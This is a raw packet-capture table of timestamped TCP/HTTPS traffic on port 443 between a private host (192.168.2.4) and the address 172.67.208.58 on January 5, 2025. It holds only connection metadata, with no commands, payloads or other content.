Jan 5, 2025 19:50:30.539433956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.539644003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.539659023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.539699078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.539706945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.581365108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.583038092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.583058119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.583138943 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.583147049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.583189964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.619661093 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.619682074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.619746923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.619755030 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.619811058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.619889021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.619903088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.619941950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.619947910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.619976044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.619985104 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.620162964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.620182037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.620209932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.620217085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.620240927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.620250940 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.620464087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.620487928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.620517015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.620522976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.620543003 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.620563030 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626049042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626068115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626096964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626102924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626138926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626235008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626256943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626296997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626296997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626303911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626322985 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626348019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626518011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626533985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626565933 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626573086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.626581907 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.626622915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.628437996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.669958115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.669972897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.670020103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.670027018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.670043945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.670072079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.706676960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.706696033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.706747055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.706779003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.706789970 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.706795931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.706830025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.707027912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.707041979 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.707075119 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.707084894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.707096100 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.707412958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.707436085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.707463026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.707469940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.707484007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.713074923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.713089943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.713136911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.713156939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.713166952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.713174105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.713224888 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.713572025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.713588953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.713637114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.713644981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.713682890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.718534946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.718586922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.756920099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.756949902 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.757076979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.757091999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.757139921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.793417931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.793435097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.793524981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.793533087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.793576002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.793656111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.793670893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.793721914 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.793729067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.793777943 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.793910980 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.793926954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.793973923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.793979883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.794019938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.794236898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.794251919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.794287920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.794295073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.794300079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.794339895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.799715996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.799736023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.799778938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.799786091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.799804926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.800088882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.800107956 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.800158024 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.800164938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.800292015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.800306082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.800335884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.800343037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.800370932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.801676035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.843887091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.843905926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.843961954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.843969107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.843991995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.886820078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.886842966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.886892080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.886899948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.886931896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887021065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887037039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887067080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887073994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887085915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887242079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887260914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887300014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887306929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887340069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887598038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887610912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887644053 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887650013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887660027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887692928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887711048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887737989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887744904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887770891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887856007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887868881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887907028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.887914896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.887928963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.888125896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.888149023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.888180017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.888187885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.888212919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.891036987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.930733919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.930749893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.930804014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.930813074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.930831909 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.967828989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.967849016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.967914104 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.967921972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.967979908 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.967993975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.968028069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.968038082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.968060017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.973666906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.973685026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.973728895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.973737955 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.973747969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.973948002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.973962069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974024057 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.974030972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974212885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974232912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974262953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.974268913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974292994 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.974476099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974489927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974529982 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.974535942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974759102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974776983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974806070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.974812984 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.974823952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.017671108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.017685890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.017757893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.017766953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.054634094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.054651976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.054706097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.054719925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.054754972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.054979086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.054999113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.055032969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.055042982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.055056095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.060635090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.060655117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.060688972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.060695887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.060724974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.060877085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.060890913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.060924053 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.060931921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.060950041 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.061144114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061161995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061188936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.061196089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061223984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.061392069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061412096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061448097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.061454058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061465979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.061743021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061768055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061789989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.061795950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.061808109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.064037085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.066169024 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.104566097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.104585886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.104661942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.104675055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.141561031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.141581059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.141649961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.141657114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.141830921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.141844034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.141879082 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.141886950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.141901016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.147499084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.147524118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.147561073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.147567034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.147586107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.147718906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.147733927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.147782087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.147793055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148013115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148037910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148066044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.148072004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148097992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.148384094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148397923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148447990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.148453951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148478985 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.148636103 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148654938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148682117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.148689032 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.148715019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.190746069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.191571951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.191587925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.191663027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.191669941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.191710949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.228563070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.228576899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.228645086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.228657961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.228702068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.228764057 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.228780031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.228826046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.228832960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.228871107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.234338045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234354019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234396935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.234405041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234436035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.234448910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.234539032 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234553099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234612942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.234620094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234657049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.234766960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234787941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234823942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.234829903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.234865904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.234865904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.235124111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.235141039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.235172033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.235178947 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.235202074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.235210896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.235466003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.235482931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.235507965 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.235512972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.235538960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.235553980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.238828897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.278470039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.278490067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.278548002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.278554916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.278583050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.278605938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.315587997 CET	443	49746	172.67.208.58	192.168.2.4
